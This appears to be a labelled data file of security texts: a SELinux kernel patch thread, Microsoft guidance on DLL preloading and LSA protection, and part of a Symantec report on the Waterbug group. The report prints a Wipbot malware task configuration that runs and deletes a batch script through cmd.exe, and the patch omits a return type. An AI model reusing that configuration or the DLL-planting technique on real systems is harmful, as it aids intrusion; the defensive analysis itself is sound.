Jeff, > > > > We are a Wireless Consulting Firm conducting research for a U.S. Health and Human Services Grant. We require Secure Mobile Devices. How much is a license for Google Android SELinux and where do i go for the config? > > It's all open source in the aosp (Android Open Source Project) project. There is essentially two paths you can go, Android branding and non Android branding. An example of non-Android branded devices would be Amazon's Kindle line or the Silent circle black phone. Also there are popular aftermarket software ROMs based on aosp, like Cyanogenmod. > > If you want branding, then you have to go through Google since they own the brand, they have various programs for that. This page might help provide more detail: https://source.android.com/compatibility/index.html > > The only parts that are generally not available in the open are the proprietary drivers that bridge Android to the hardware. > > You can download aosp at https://source.android.com/source/downloading.html > FYI This question is off topic to the thread and mailing list. In the future post a new topic to the seandroid mailing list. > > > > Dennis Sherrell > > Sherrell Consulting > > Company #136601 > > Wireless Security Consultant > > Cisco Certified Wireless Specialist > > DISA Mobile Device Administartor > > > > > > On Tue, Apr 5, 2016, 1:33 PM Jeffrey Vander Stoep wrote: > >>> > >>> You're missing the return type :) No need to resend, I fixed it when merging > >>> your patch, see the selinux#next branch. > >> > >> > >> Thanks for catching that. > >> > >> _______________________________________________ > >> Selinux mailing list > >> Selinux@tycho.nsa.gov > >> To unsubscribe, send email to Selinux-leave@tycho.nsa.gov. > >> To get help, send an email containing ""help"" to Selinux-request@tycho.nsa.gov. > > > > > > _______________________________________________ > > Selinux mailing list > > Selinux@tycho.nsa.gov > > To unsubscribe, send email to Selinux-leave@tycho.nsa.gov. > > To get help, send an email containing ""help"" to Selinux-request@tycho.nsa.gov. Patch 8754821 diff mbox diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c index 3fa3ca5..231c897 100644 --- a/security/selinux/hooks.c +++ b/security/selinux/hooks.c @@ -3719,6 +3719,51 @@ static int selinux_kernel_module_request(char *kmod_name) SYSTEM__MODULE_REQUEST, &ad); } +static int selinux_kernel_module_from_file(struct file *file) +{ + struct common_audit_data ad; + struct inode_security_struct *isec; + struct file_security_struct *fsec; + u32 sid = current_sid(); + int rc; + + /* init_module */ + if (file == NULL) + return avc_has_perm(sid, sid, SECCLASS_SYSTEM, + SYSTEM__MODULE_LOAD, NULL); + + /* finit_module */ + ad.type = LSM_AUDIT_DATA_PATH; + ad.u.path = file->f_path; + + isec = inode_security(file_inode(file)); + fsec = file->f_security; + + if (sid != fsec->sid) { + rc = avc_has_perm(sid, fsec->sid, SECCLASS_FD, FD__USE, &ad); + if (rc) + return rc; + } + + return avc_has_perm(sid, isec->sid, SECCLASS_SYSTEM, + SYSTEM__MODULE_LOAD, &ad); +} + +static selinux_kernel_read_file(struct file *file, enum kernel_read_file_id id) +{ + int rc = 0; + + switch (id) { + case READING_MODULE: + rc = selinux_kernel_module_from_file(file); + break; + default: + break; + } + + return rc; +} + static int selinux_task_setpgid(struct task_struct *p, pid_t pgid) { return current_has_perm(p, PROCESS__SETPGID); @@ -6022,6 +6067,7 @@ static struct security_hook_list selinux_hooks[] = { LSM_HOOK_INIT(kernel_act_as, selinux_kernel_act_as), LSM_HOOK_INIT(kernel_create_files_as, selinux_kernel_create_files_as), LSM_HOOK_INIT(kernel_module_request, selinux_kernel_module_request), + LSM_HOOK_INIT(kernel_read_file, selinux_kernel_read_file), LSM_HOOK_INIT(task_setpgid, selinux_task_setpgid), LSM_HOOK_INIT(task_getpgid, selinux_task_getpgid), LSM_HOOK_INIT(task_getsid, selinux_task_getsid), diff --git a/security/selinux/include/classmap.h b/security/selinux/include/classmap.h index ef83c4b..8fbd138 100644 --- a/security/selinux/include/classmap.h +++ b/security/selinux/include/classmap.h @@ -32,7 +32,7 @@ struct security_class_mapping secclass_map[] = { ""setsockcreate"", NULL } }, { ""system"", { ""ipc_info"", ""syslog_read"", ""syslog_mod"", - ""syslog_console"", ""module_request"", NULL } }, + ""syslog_console"", ""module_request"", ""module_load"", NULL } }, { ""capability"", { ""chown"", ""dac_override"", ""dac_read_search"", ""fowner"", ""fsetid"", ""kill"", ""setgid"", ""setuid"", ""setpcap"", patchwork patch tracking system | version v2.1.3 | about patchwork","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Dynamic-Link Library Security - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Dynamic-Link Library Security 05/31/2018 5 minutes to read In this article When an application dynamically loads a dynamic-link library without specifying a fully qualified path name, Windows attempts to locate the DLL by searching a well-defined set of directories in a particular order, as described in Dynamic-Link Library Search Order. If an attacker gains control of one of the directories on the DLL search path, it can place a malicious copy of the DLL in that directory. This is sometimes called a DLL preloading attack or a binary planting attack. If the system does not find a legitimate copy of the DLL before it searches the compromised directory, it loads the malicious DLL. If the application is running with administrator privileges, the attacker may succeed in local privilege elevation. For example, suppose an application is designed to load a DLL from the user's current directory and fail gracefully if the DLL is not found. The application calls LoadLibrary with just the name of the DLL, which causes the system to search for the DLL. Assuming safe DLL search mode is enabled and the application is not using an alternate search order, the system searches directories in the following order: The directory from which the application loaded. The system directory. The 16-bit system directory. The Windows directory. The current directory. The directories that are listed in the PATH environment variable. Continuing the example, an attacker with knowledge of the application gains control of the current directory and places a malicious copy of the DLL in that directory. When the application issues the LoadLibrary call, the system searches for the DLL, finds the malicious copy of the DLL in the current directory, and loads it. The malicious copy of the DLL then runs within the application and gains the privileges of the user. Developers can help safeguard their applications against DLL preloading attacks by following these guidelines: Wherever possible, specify a fully qualified path when using the LoadLibrary, LoadLibraryEx, CreateProcess, or ShellExecute functions. Use the LOAD_LIBRARY_SEARCH flags with the LoadLibraryEx function, or use these flags with the SetDefaultDllDirectories function to establish a DLL search order for a process and then use the AddDllDirectory or SetDllDirectory functions to modify the list. For more information, see Dynamic-Link Library Search Order. Windows\xc2 7, Windows Server\xc2 2008\xc2 R2, Windows\xc2 Vista and Windows Server\xc2 2008: These flags and functions are available on systems with KB2533623 installed. On systems with KB2533623 installed, use the LOAD_LIBRARY_SEARCH flags with the LoadLibraryEx function, or use these flags with the SetDefaultDllDirectories function to establish a DLL search order for a process and then use the AddDllDirectory or SetDllDirectory functions to modify the list. For more information, see Dynamic-Link Library Search Order. Consider using DLL redirection or a manifest to ensure that your application uses the correct DLL. When using the standard search order, make sure that safe DLL search mode is enabled. This places the user's current directory later in the search order, increasing the chances that Windows will find a legitimate copy of the DLL before a malicious copy. Safe DLL search mode is enabled by default starting with Windows\xc2 XP with Service Pack\xc2 2 (SP2) and is controlled by the HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode registry value. For more information, see Dynamic-Link Library Search Order. Consider removing the current directory from the standard search path by calling SetDllDirectory with an empty string (""""). This should be done once early in process initialization, not before and after calls to LoadLibrary. Be aware that SetDllDirectory affects the entire process and that multiple threads calling SetDllDirectory with different values can cause undefined behavior. If your application loads third-party DLLs, test carefully to identify any incompatibilities. Do not use the SearchPath function to retrieve a path to a DLL for a subsequent LoadLibrary call unless safe process search mode is enabled. When safe process search mode is not enabled, the SearchPath function uses a different search order than LoadLibrary and is likely to first search the user's current directory for the specified DLL. To enable safe process search mode for the SearchPath function, use the SetSearchPathMode function with BASE_SEARCH_PATH_ENABLE_SAFE_SEARCHMODE. This moves the current directory to the end of the SearchPath search list for the life of the process. Note that the current directory is not removed from the search path, so if the system does not find a legitimate copy of the DLL before it reaches the current directory, the application is still vulnerable. As with SetDllDirectory, calling SetSearchPathMode should be done early in process initialization and it affects the entire process. If your application loads third-party DLLs, test carefully to identify any incompatibilities. Do not make assumptions about the operating system version based on a LoadLibrary call that searches for a DLL. If the application is running in an environment where the DLL is legitimately not present but a malicious copy of the DLL is in the search path, the malicious copy of the DLL may be loaded. Instead, use the recommended techniques described in Getting the System Version. The Process Monitor tool can be used to help identify DLL load operations that might be vulnerable. The Process Monitor tool can be downloaded from https://technet.microsoft.com/sysinternals/bb896645.aspx. The following procedure describes how to use Process Monitor to examine DLL load operations in your application. To use Process Monitor to examine DLL load operations in your application Start Process Monitor. In Process Monitor, include the following filters: Operation is CreateFile Operation is LoadImage Path contains .cpl Path contains .dll Path contains .drv Path contains .exe Path contains .ocx Path contains .scr Path contains .sys Exclude the following filters: Process Name is procmon.exe Process Name is Procmon64.exe Process Name is System Operation begins with IRP_MJ_ Operation begins with FASTIO_ Result is SUCCESS Path ends with pagefile.sys Attempt to start your application with the current directory set to a specific directory. For example, double-click a file with an extension whose file handler is assigned to your application. Check Process Monitor output for paths that look suspicious, such as a call to the current directory to load a DLL. This kind of call might indicate a vulnerability in your application. \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Configuring Additional LSA Protection | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Configuring Additional LSA Protection 08/31/2016 8 minutes to read In this article \xc2 Applies To: Windows 8.1, Windows Server 2012 R2 This topic for the IT professional explains how to configure additional protection for the Local Security Authority (LSA) process to prevent code injection that could compromise credentials. The LSA, which includes the Local Security Authority Server Service (LSASS) process, validates users for local and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection for the LSA to prevent reading memory and code injection by non-protected processes. This provides added security for the credentials that the LSA stores and manages. The protected process setting for LSA can be configured in Windows 8.1, but it cannot be configured in Windows RT 8.1. When this setting is used in conjunction with Secure Boot, additional protection is achieved because disabling the HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa registry key has no effect. Protected process requirements for plug-ins or drivers For an LSA plug-in or driver to successfully load as a protected process, it must meet the following criteria: Signature verification Protected mode requires that any plug-in that is loaded into the LSA is digitally signed with a Microsoft signature. Therefore, any plug-ins that are unsigned or are not signed with a Microsoft signature will fail to load in LSA. Examples of these plug-ins are smart card drivers, cryptographic plug-ins, and password filters. LSA plug-ins that are drivers, such as smart card drivers, need to be signed by using the WHQL Certification. For more information, see WHQL Release Signature (Windows Drivers). LSA plug-ins that do not have a WHQL Certification process, must be signed by using the file signing service for LSA. Adherence to the Microsoft Security Development Lifecycle (SDL) process guidance All of the plug-ins must conform to the applicable SDL process guidance.\xc2 For more information, see the Microsoft Security Development Lifecycle (SDL) Appendix. Even if the plug-ins are properly signed with a Microsoft signature, non-compliance with the SDL process can result in failure to load a plug-in. Recommended practices Use the following list to thoroughly test that LSA protection is enabled before you broadly deploy the feature: Identify all of the LSA plug-ins and drivers that are in use within your organization. This includes non-Microsoft drivers or plug-ins such as smart card drivers and cryptographic plug-ins, and any internally developed software that is used to enforce password filters or password change notifications. Ensure that all of the LSA plug-ins are digitally signed with a Microsoft certificate so that the plug-in will not fail to load. Ensure that all of the correctly signed plug-ins can successfully load into LSA and that they perform as expected. Use the audit logs to identify LSA plug-ins and drivers that fail to run as a protected process. How to identify LSA plug-ins and drivers that fail to run as a protected process The events described in this section are located in the Operational log under Applications and Services Logs\\Microsoft\\Windows\\CodeIntegrity. They can help you identify LSA plug-ins and drivers that are failing to load due to signing reasons. To manage these events, you can use the wevtutil command-line tool. For information about this tool, see Wevtutil [Vista]. Before opting in: How to identify plug-ins and drivers loaded by the lsass.exe You can use the audit mode to identify LSA plug-ins and drivers that will fail to load in LSA Protection mode. While in the audit mode, the system will generate event logs, identifying all of the plug-ins and drivers that will fail to load under LSA if LSA Protection is enabled. The messages are logged without blocking the plug-ins or drivers. To enable the audit mode for Lsass.exe on a single computer by editing the Registry Open the Registry Editor (RegEdit.exe), and navigate to the registry key that is located at: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe. Set the value of the registry key to AuditLevel=dword:00000008. Restart the computer. Analyze the results of event 3065 and event 3066. Event 3065: This event records that a code integrity check determined that a process (usually lsass.exe) attempted to load a particular driver that did not meet the security requirements for Shared Sections. However, due to the system policy that is set, the image was allowed to load. Event 3066: This event records that a code integrity check determined that a process (usually lsass.exe) attempted to load a particular driver that did not meet the Microsoft signing level requirements. However, due to the system policy that is set, the image was allowed to load. Important These operational events are not generated when a kernel debugger is attached and enabled on a system. If a plug-in or driver contains Shared Sections, Event 3066 is logged with Event 3065. Removing the Shared Sections should prevent both the events from occurring unless the plug-in does not meet the Microsoft signing level requirements. To enable audit mode for multiple computers in a domain, you can use the Registry Client-Side Extension for Group Policy to deploy the Lsass.exe audit-level registry value. You need to modify HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe registry key. To create the AuditLevel value setting in a GPO Open the Group Policy Management Console (GPMC). Create a new Group Policy Object (GPO) that is linked at the domain level or that is linked to the organizational unit that contains your computer accounts. Or you can select a GPO that is already deployed. Right-click the GPO, and then click Edit to open the Group Policy Management Editor. Expand Computer Configuration, expand Preferences, and then expand Windows Settings. Right-click Registry, point to New, and then click Registry Item. The New Registry Properties dialog box appears. In the Hive list, click HKEY_LOCAL_MACHINE. In the Key Path list, browse to SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe. In the Value name box, type AuditLevel. In the Value type box, click to select the REG_DWORD. In the Value data box, type 00000008. Click OK. Note For the GPO take effect, the GPO change must be replicated to all domain controllers in the domain. To opt-in for additional LSA protection on multiple computers, you can use the Registry Client-Side Extension for Group Policy by modifying HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa. For steps about how to do this, see How to configure additional LSA protection of credentials in this topic. After opting in: How to identify plug-ins and drivers loaded by the lsass.exe You can use the event log to identify LSA plug-ins and drivers that failed to load in LSA Protection mode. When the LSA protected process is enabled, the system generates event logs that identify all of the plug-ins and drivers that failed to load under LSA. Analyze the results of Event 3033 and Event 3063. Event 3033: This event records that a code integrity check determined that a process (usually lsass.exe) attempted to load a driver that did not meet the Microsoft signing level requirements. Event 3063: This event records that a code integrity check determined that a process (usually lsass.exe) attempted to load a driver that did not meet the security requirements for Shared Sections. Shared Sections are typically the result of programming techniques that allow instance data to interact with other processes that use the same security context. This can create security vulnerabilities. How to configure additional LSA protection of credentials On devices running Windows 8.1 (with or without Secure Boot or UEFI), configuration is possible by performing the procedures described in this section. For devices running Windows RT 8.1, lsass.exe protection is always enabled, and it cannot be turned off. For information about changes in Secure Boot in Windows 8 and Windows 8.1, see Secure Boot. For information about UEFI in Windows 8 and Windows 8.1, see What's Changed in Security Technologies in Windows 8.1 [Win 8.1]. On x86-based or x64-based devices using Secure Boot and UEFI or not On x86-based or x64-based devices that use Secure Boot and UEFI, a UEFI variable is set in the UEFI firmware when LSA protection is enabled by using the registry key. When the setting is stored in the firmware, the UEFI variable cannot be deleted or changed in the registry key. The UEFI variable must be reset. x86-based or x64-based devices that do not support UEFI or Secure Boot are disabled, cannot store the configuration for LSA protection in the firmware, and rely solely on the presence of the registry key. In this scenario, it is possible to disable LSA protection by using remote access to the device. You can use the following procedures to enable or disable LSA protection: To enable LSA protection on a single computer Open the Registry Editor (RegEdit.exe), and navigate to the registry key that is located at: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa. Set the value of the registry key to: ""RunAsPPL""=dword:00000001. Restart the computer. To enable LSA protection using Group Policy Open the Group Policy Management Console (GPMC). Create a new GPO that is linked at the domain level or that is linked to the organizational unit that contains your computer accounts. Or you can select a GPO that is already deployed. Right-click the GPO, and then click Edit to open the Group Policy Management Editor. Expand Computer Configuration, expand Preferences, and then expand Windows Settings. Right-click Registry, point to New, and then click Registry Item. The New Registry Properties dialog box appears. In the Hive list, click HKEY_LOCAL_MACHINE. In the Key Path list, browse to SYSTEM\\CurrentControlSet\\Control\\Lsa. In the Value name box, type RunAsPPL. In the Value type box, click the REG_DWORD. In the Value data box, type 00000001. Click OK. To disable LSA protection Open the Registry Editor (RegEdit.exe), and navigate to the registry key that is located at: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa. Delete the following value from the registry key: ""RunAsPPL""=dword:00000001. Use the Local Security Authority (LSA) Protected Process Opt-out tool to delete the UEFI variable if the device is using Secure Boot. For more information about the opt-out tool, see Download Local Security Authority (LSA) Protected Process Opt-out from Official Microsoft Download Center. For more information about managing Secure Boot, see UEFI Firmware. Warning When Secure Boot is turned off, all the Secure Boot and UEFI-related configurations are reset. You should turn off Secure Boot only when all other means to disable LSA protection have failed. Verifying LSA protection To discover if LSA was started in protected mode when Windows started, search for the following WinInit event in the System log under Windows Logs: 12: LSASS.exe was started as a protected process with level: 4 Additional resources Credentials Protection and Management File signing service for LSA Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"SECURITY RESPONSE Waterbug uses highly-targeted spear-phishing and watering-hole attack campaigns to target victims. The Waterbug attack group Security Response Version 1.02 \xe2\x80\x93 January 14, 2016 The Waterbug attack group CONTENTS OVERVIEW ..................................................................... 3 Introduction .................................................................. 5 Vectors .......................................................................... 5 Spear-phishing ........................................................ 5 Venom distribution network .................................. 6 Malware ....................................................................... 10 Trojan.Wipbot ........................................................ 10 Trojan.Turla ............................................................ 11 Conclusion ................................................................... 13 Appendix ..................................................................... 15 Injection attack analysis ....................................... 15 PluginDetect library .............................................. 15 Exploits .................................................................. 17 Trojanized applications ......................................... 17 Trojan.Turla variants .............................................. 18 Detection guidance ............................................... 20 Waterbug tools ...................................................... 29 Additional exploits used ........................................ 30 Samples ................................................................. 31 Trojan.Turla C&C servers ....................................... 42 Waterbug is a cyberespionage group that uses sophisticated malware to systematically target government-related entities in a range of countries. The group uses highly-targeted spear-phishing and watering-hole attack campaigns to target victims. The group has also been noted for its use of zero-day exploits and signing its malware with stolen certificates. Once the group gains a foothold, it shifts focus to long-term persistent monitoring tools which can be used to exfiltrate data and provide powerful spying capabilities. Symantec has tracked the development of one such tool, Trojan.Turla, and has identified four unique variants being used in the wild. OVERVIEW http://www.symantec.com/security_response/writeup.jsp?docid=2014-011316-1921-99 INTRODUCTION Waterbug has successfully targeted and compromised over 4,500 computers across more than 100 countries. Page 5 The Waterbug attack group Introduction Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and Epic Turla) and Trojan.Turla (also known as Carbon, Uroburos, and Snake). Believed to have been active since at least 2005, it is likely that the group was responsible for the 2008 compromise of US Central Command that reportedly resulted in a clean-up operation that lasted almost 14 months. More recently, Waterbug used a zero-day exploit against the Microsoft Windows Kernel \xe2\x80\x98NDProxy.sys\xe2\x80\x99 Local Privilege Escalation Vulnerability (CVE-2013-5065), targeted emails, stolen certificates, and a sophisticated watering-hole distribution network known as Venom to compromise its victims. Waterbug has successfully targeted and compromised over 4,500 computers across more than 100 countries. Targets include government institutions, embassies, and education and research facilities. The malware used on victims\xe2\x80\x99 computers, variants of Trojan.Turla and Trojan.Wipbot, are likely developed by or for the Waterbug group. Trojan.Turla has four different sub-versions, something that may indicate professional development with code shared among multiple teams. Because of the targets chosen, the use of at least one zero-day exploit, a large network of compromised websites, and the advanced nature of the malware used, Symantec believes that Waterbug is a state-sponsored group. Vectors Symantec have observed two techniques used by the Waterbug group to compromise victims: the use of highly targeted emails containing malicious attachments and a set of compromised websites which ultimately deliver a malicious payload. Spear-phishing In December 2013, Symantec identified several spear-phishing attacks against specific individuals. The emails used in the attacks contained a malicious Adobe Reader attachment. The attachment used one zero-day exploit against the Adobe Acrobat and Reader ToolButton Object Use- After-Free Remote Code Execution Vulnerability (CVE-2013-3346) to elevate privileges and a second patched exploit (CVE-2013-5065) to drop Trojan.Wipbot on the target\xe2\x80\x99s computer. This was the first time Symantec had observed this group use a zero-day exploit in the wild. The majority of the emails observed in this spear-phishing attack Figure 1. Example targeted email containing malicious PDF that drops Trojan.Wipbot http://www.symantec.com/security_response/writeup.jsp?docid=2013-112916-3733-99 http://www.securityfocus.com/bid/63971 http://www.securityfocus.com/bid/63971 http://www.securityfocus.com/bid/62149 http://www.securityfocus.com/bid/62149 http://www.securityfocus.com/bid/62149 http://www.securityfocus.com/bid/62149 http://www.securityfocus.com/bid/62149 Page 6 The Waterbug attack group followed a common theme using subjects such as Defence Attach\xc3\xa9 Q1 meetings or Sochi 2014 Winter Olympics. Attachments were distributed as Adobe Reader attachments or executable files using an Adobe Reader icon. Venom distribution network Since at least September 2012, Symantec has identified 84 websites compromised by the Waterbug group. The chosen websites receive visitors of potential interest to the attackers\xe2\x80\x94this is an example of a watering-hole attack. However, unlike traditional watering-hole attacks, where all visitors to a particular website are targeted indiscriminately, in the case of the Venom network used by the Waterbug group, the attackers use a more deliberate approach. This is done in a multi-staged fashion by firstly redirecting visitors to another malicious server. On the malicious server, a fingerprinting script is executed and this extracts configuration information from the user\xe2\x80\x99s computer related to installed bowser plugins (Adobe Reader, Silverlight, Java, Flash etc.). The attackers also collect basic system and network information, such operating system version, type, browser version, and internet protocol (IP) address. At this point, the attackers have enough information to determine if the visitor is of further interest. When an IP address of interest is identified, such as one associated with a government institution, they proceed to create a rule specific to that IP address. This rule ensures that the next time the visitor arrives on the compromised website their computer may be sent a malicious payload instead of just being fingerprinted. One of the techniques that the attackers used to install the malicious payload is to attempt the installation of a Trojanized version of Adobe Shockwave. This malicious installer contains Trojan.Wipbot. Similarly, Symantec has also observed packages which have been used to drop both Trojan.Turla and Trojan.Wipbot. It is believed that Trojan.Turla is also dropped in tandem with Trojan.Wipbot in order to provide multiple communication channels as a failsafe when interacting with the compromised computer. Symantec has also observed the attackers using Trojan.Wipbot to download updated versions of Trojan.Turla after initial infection. Once the attackers have gained a foothold in the network, they use Trojan.Turla to collect and exfiltrate data to a first-tier proxy. This tier is comprised of legitimate, but compromised, websites. In a similar fashion, data is relocated from the first-tier proxy to a second-tier proxy server under the control of the attackers. This is done to increase the complexity of the attacker\xe2\x80\x99s infrastructure and to make it more difficult to identify. Figure 2.Trojanized Shockwave installer package Page 7 The Waterbug attack group Compromised websites (watering holes) Symantec telemetry suggests the Venom network consists of 84 compromised domains (websites). These compromised websites are located in many different countries and were used in a watering-hole style operation in which the attackers monitored and filtered visitors to those websites and focused on the ones of interest for further action. The collection of compromised websites acted like a drag net designed to gather potential targets of interest. Symantec\xe2\x80\x99s telemetry showed that thousands of computers visited the compromised websites between 2012 and 2014. Figure 3 shows how many visitors visited the compromised websites and as a result, were redirected to another malicious server for fingerprinting. This is an indicator of how many computers were caught up in the net and were scrutinized by the Waterbug attackers. The actual number of computers that became infected with Wipbot and Turla was a much smaller subset. During our observations, the number of compromised computers increased over time, with a noticeable spike in November, 2013. This spike coincided with an increase in traffic being redirected by the compromised websites to the malicious server. This increase in throughput may have come about because of an increase in the number of compromised websites in use. Where are the compromised websites? The watering-hole websites used by the Waterbug group are located in many different countries. The greatest number of compromised websites is found in France (19 percent), Germany (17 percent), Romania (17 percent), and Spain (13 percent). Figure 3. Number of redirected computers between September 2012 and May 2014 Page 8 The Waterbug attack group Common vector Analysis of the compromised websites shows that the majority of them used a common content- management system (CMS) known as TYPO3. Moreover, a number of compromised websites also resided on the same net block linked to a number of hosting providers. These hosting providers\xe2\x80\x99 websites promote the use of CMS-type tools, including TYPO3, as blogging platforms included in their hosting packages. Industry breakdown The compromised websites were further categorized based on their respective industries. The majority of compromised websites were government related (26 percent). The list included embassies, ministries of foreign affairs, and other government institutions. Publishing and media websites (23 percent) were also used by the attackers. In this case, the majority of compromised publishing websites were local news and broadcasting companies. Despite the range and number of websites compromised and set up as watering holes, the attackers were only interested in a very specific subset of the users who actually visited these websites. In effect, the collection of compromised websites acted as a net, much like a fishing net trawling for fish in the ocean. In this case, the net is set up so that unwanted catches are allowed to escape unscathed but the ones of interest were redirected (based on their source IP address) to deliver the payload of Wipbot or Turla or both. Figure 5. Compromised sites categorized by industry Figure 4. Top ten countries with compromised websites (watering holes) Whether compromised by a targeted email attack or by browsing to an infected website... Trojan.Turla or Trojan.Wipbot is installed onto the victim\xe2\x80\x99s computer. MALWARE Page 10 The Waterbug attack group Malware Whether compromised by a targeted email attack or by browsing to an infected website on the Venom network, in both cases either Trojan.Turla or Trojan.Wipbot is installed onto the victim\xe2\x80\x99s computer. Trojan.Wipbot Trojan.Wipbot was first identified by Symantec in December, 2013 being distributed by a highly-targeted spear-phishing campaign. Later, additional samples, including Trojanized Shockwave installers signed with a stolen certificate, were also observed being distributed by the Venom network. Trojan.Wipbot is a downloader with limited back door functionality. Trojan.Wipbot has the ability to execute arbitrary commands and additional downloaded components on the infected computer. This is done through the use of a task file. Task files consist of several sections. The first section is the command number or ID, followed by the payload size, the payload itself, and an associated configuration script. The payload size is used by Trojan.Wipbot to allocate the correct amount of memory in order to store the binary. The payload can be an executable file (.exe or .dll) or a Windows batch script. In the majority of cases, Symantec has observed the attackers downloading batch files in order to perform reconnaissance activities on the infected network such as the collection of network and domain-specific information and login credentials to mount shares and move laterally across the network. A configuration script is also supplied by the attackers, which specifies the location of the file, supplied arguments, and where resultant data should be written to. The following example also instructs Trojan.Wipbot to delete the script after execution. [CONFIG] name = C:\\windows\\temp\\wincpt.bat arg = cmd.exe /c c:\\windows\\temp\\wincpt.bat result = c:\\windows\\Temp\\DMR0861.dat delete = yes The collected data is later retrieved by the attackers using additional tools. Links between Trojan.Wipbot and Trojan.Turla Symantec has confirmed several links tying Trojan.Wipbot and Trojan.Turla to the same group through sample analysis and telemetry. \xe2\x80\xa2 Trojan.Wipbot contains an embedded component known as Down.dll. The header of the component has been stripped. The DLL itself has an export function which matches those used in Trojan.Turla samples (ModuleStart, ModuleStop). \xe2\x80\xa2 In Trojan.Wipbot, a Linear Congruential Generator (LCG) is used as part of the malware\xe2\x80\x99s communication protocol, specifically for encryption. Generally an LCG is used as part of a pseudo-random number generator (PRNG) in an encryption algorithm. However, in Trojan.Wipbot\xe2\x80\x99s case, it uses the LCG to perform the encryption instead. Symantec has not observed LCG used for encryption of communications before. Remnants of LCG code used for encryption are also present in Trojan.Turla, specifically the same c-constant value and modulus. \xe2\x80\xa2 Both Trojan.Wipbot and Trojan.Turla also share a similar code structure in terms of decryption algorithms. Both use an array of characters which are stored directly on the stack followed by a simple XOR operation by a shared constant. \xe2\x80\xa2 Finally, Symantec has observed Trojan.Wipbot downloading Trojan.Turla onto compromised computers. Figure 6. Example of Trojan.Wipbot task file structure http://en.wikipedia.org/wiki/Linear_congruential_generator Page 11 The Waterbug attack group Trojan.Turla In 2008, a malware incident was reported to have affected the US Central Command Network. The incident was the direct result of an infected removable drive that was connected to a computer on the network, which executed an autorun file launching a malicious DLL file stored on the drive. This was dubbed the BTZ Incident and was considered one of the worst breaches of US military computers in history. The malware, which Symantec called Trojan.Minit (also known as Agent.BTZ), had the ability to spread through a network, gather sensitive information, and exfiltrate data to a remote command-and-control (C&C) server. Since then, multiple links have been established between Trojan.Minit and recent samples of Trojan.Turla. The most infamous link is the use of a shared XOR key across these two families. This key has been used by the attackers to encrypt log data and has also been used in a number of custom tools used by the 